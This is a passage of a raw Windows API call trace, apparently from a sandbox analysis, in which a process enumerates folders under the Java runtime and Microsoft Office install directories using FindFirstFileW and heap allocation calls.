ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0082.731] GetProcessHeap () returned 0x11a0000 [0082.731] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b43780 [0082.732] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2891a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba1d0 [0082.735] GetProcessHeap () returned 0x11a0000 [0082.735] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b43780 | out: hHeap=0x11a0000) returned 1 [0082.738] GetProcessHeap () returned 0x11a0000 [0082.738] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b43780 [0082.738] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2a2bf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba1d0 [0082.739] GetProcessHeap () returned 0x11a0000 [0082.739] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b43780 | out: hHeap=0x11a0000) returned 1 [0082.740] GetProcessHeap () returned 0x11a0000 [0082.740] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b43780 [0082.740] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8af971e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2b6c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xab35b530, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba1d0 [0082.741] GetProcessHeap () returned 0x11a0000 [0082.741] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b43780 | out: hHeap=0x11a0000) returned 1 [0082.741] GetProcessHeap () returned 0x11a0000 [0082.741] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x125fa90 | out: hHeap=0x11a0000) returned 1 [0082.743] GetProcessHeap () returned 0x11a0000 [0082.743] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x125fa90 [0082.744] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\*", lpFindFileData=0x347ece0 | out: lpFindFileData=0x347ece0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe1f09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa80821a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0082.748] GetProcessHeap () returned 0x11a0000 [0082.748] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b43780 [0082.749] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe451d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba1d0 [0082.751] GetProcessHeap () returned 0x11a0000 [0082.751] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b43780 | out: hHeap=0x11a0000) returned 1 [0082.751] GetProcessHeap () returned 0x11a0000 [0082.751] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b43780 [0082.751] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\applet\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba1d0 [0082.753] GetProcessHeap () returned 0x11a0000 [0082.753] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b43780 | out: hHeap=0x11a0000) returned 1 [0082.753] GetProcessHeap () returned 0x11a0000 [0082.753] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b43780 [0082.753] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105e2a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba1d0 [0082.754] GetProcessHeap () returned 0x11a0000 [0082.754] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b43780 | out: hHeap=0x11a0000) returned 1 [0082.754] GetProcessHeap () returned 0x11a0000 [0082.754] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b43780 [0082.754] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa10e432c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba1d0 [0082.758] GetProcessHeap () returned 0x11a0000 [0082.758] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b43780 | out: hHeap=0x11a0000) returned 1 [0082.758] GetProcessHeap () returned 0x11a0000 [0082.758] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b43780 [0082.758] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa11bdb26, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa8ed01b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba1d0 [0082.763] GetProcessHeap () returned 0x11a0000 [0082.763] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b43780 | out: hHeap=0x11a0000) returned 1 [0082.763] GetProcessHeap () returned 0x11a0000 [0082.763] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b43780 [0082.763] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa122f229, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba1d0 [0082.768] GetProcessHeap () returned 0x11a0000 [0082.768] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b43780 | out: hHeap=0x11a0000) returned 1 [0082.768] GetProcessHeap () returned 0x11a0000 [0082.768] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b43780 [0082.768] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa12313ee, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba1d0 [0082.769] GetProcessHeap () returned 0x11a0000 [0082.769] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0082.769] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa129361a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1fc, cFileName=".", cAlternateFileName="")) returned 0x3b8a948 [0083.154] GetProcessHeap () returned 0x11a0000 [0083.154] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0083.154] GetProcessHeap () returned 0x11a0000 [0083.154] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b43780 | out: hHeap=0x11a0000) returned 1 [0083.155] GetProcessHeap () returned 0x11a0000 [0083.155] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b43780 [0083.157] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1295634, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba1d0 [0083.158] GetProcessHeap () returned 0x11a0000 [0083.158] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b43780 | out: hHeap=0x11a0000) returned 1 [0083.158] GetProcessHeap () returned 0x11a0000 [0083.158] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b43780 [0083.158] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1389711, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba1d0 [0083.162] GetProcessHeap () returned 0x11a0000 [0083.162] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b43780 | out: hHeap=0x11a0000) returned 1 [0083.162] GetProcessHeap () returned 0x11a0000 [0083.162] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b43780 [0083.162] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1418338, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba1d0 [0083.165] GetProcessHeap () returned 0x11a0000 [0083.165] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b43780 | out: hHeap=0x11a0000) returned 1 [0083.166] GetProcessHeap () returned 0x11a0000 [0083.166] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x125fa90 | out: hHeap=0x11a0000) returned 1 [0083.167] GetProcessHeap () returned 0x11a0000 [0083.167] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x124fa88 | out: hHeap=0x11a0000) returned 1 [0083.168] GetProcessHeap () returned 0x11a0000 [0083.168] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b11758 | out: hHeap=0x11a0000) returned 1 [0083.169] GetProcessHeap () returned 0x11a0000 [0083.169] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b11758 [0083.170] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe8d5c339, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8d5c339, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc90e, dwReserved1=0xd10, cFileName=".", cAlternateFileName="")) returned 0x11b9f90 [0083.170] GetProcessHeap () returned 0x11a0000 [0083.170] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x124fa88 [0083.171] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\*", lpFindFileData=0x347ef68 | out: lpFindFileData=0x347ef68*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9e7b530, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa146f18e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda9a8629, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba110 [0083.172] GetProcessHeap () returned 0x11a0000 [0083.172] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x124fa88 | out: hHeap=0x11a0000) returned 1 [0083.172] GetProcessHeap () returned 0x11a0000 [0083.172] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x124fa88 [0083.172] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\*", lpFindFileData=0x347ef68 | out: lpFindFileData=0x347ef68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf982bd9c, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0083.195] GetProcessHeap () returned 0x11a0000 [0083.195] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x124fa88 | out: hHeap=0x11a0000) returned 1 [0083.195] GetProcessHeap () returned 0x11a0000 [0083.195] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x124fa88 [0083.195] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\*", lpFindFileData=0x347ef68 | out: lpFindFileData=0x347ef68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0083.196] GetProcessHeap () returned 0x11a0000 [0083.196] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x125fa90 [0083.196] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\*", lpFindFileData=0x347ece0 | out: lpFindFileData=0x347ece0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86813dc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2ca2e08, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2ca2e08, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba110 [0083.201] GetProcessHeap () returned 0x11a0000 [0083.201] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x125fa90 | out: hHeap=0x11a0000) returned 1 [0083.201] GetProcessHeap () returned 0x11a0000 [0083.201] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x125fa90 [0083.201] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\*", lpFindFileData=0x347ece0 | out: lpFindFileData=0x347ece0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba110 [0083.202] GetProcessHeap () returned 0x11a0000 [0083.203] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b43780 [0083.204] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8ab08 [0083.515] GetProcessHeap () returned 0x11a0000 [0083.515] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b43780 | out: hHeap=0x11a0000) returned 1 [0083.515] GetProcessHeap () returned 0x11a0000 [0083.515] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b43780 [0083.515] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba1d0 [0085.439] GetProcessHeap () returned 0x11a0000 [0085.439] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0085.474] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1fc, cFileName=".", cAlternateFileName="")) returned 0x3b8b3c8 [0085.479] GetProcessHeap () returned 0x11a0000 [0085.479] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0085.479] GetProcessHeap () returned 0x11a0000 [0085.479] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b43780 | out: hHeap=0x11a0000) returned 1 [0085.480] GetProcessHeap () returned 0x11a0000 [0085.481] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x125fa90 | out: hHeap=0x11a0000) returned 1 [0085.481] GetProcessHeap () returned 0x11a0000 [0085.481] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x125fa90 [0085.481] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\*", lpFindFileData=0x347ece0 | out: lpFindFileData=0x347ece0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba110 [0085.484] GetProcessHeap () returned 0x11a0000 [0085.484] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b43780 [0085.485] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1132ba98, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba1d0 [0085.489] GetProcessHeap () returned 0x11a0000 [0085.489] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b43780 | out: hHeap=0x11a0000) returned 1 [0085.489] GetProcessHeap () returned 0x11a0000 [0085.489] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b43780 [0085.490] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba1d0 [0085.493] GetProcessHeap () returned 0x11a0000 [0085.493] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b43780 | out: hHeap=0x11a0000) returned 1 [0085.493] GetProcessHeap () returned 0x11a0000 [0085.493] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b43780 [0085.493] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba1d0 [0085.497] GetProcessHeap () returned 0x11a0000 [0085.497] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b43780 | out: hHeap=0x11a0000) returned 1 [0085.497] GetProcessHeap () returned 0x11a0000 [0085.497] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x125fa90 | out: hHeap=0x11a0000) returned 1 [0085.499] GetProcessHeap () returned 0x11a0000 [0085.499] RtlAllocateHeap (HeapHandle=0x11a0000, 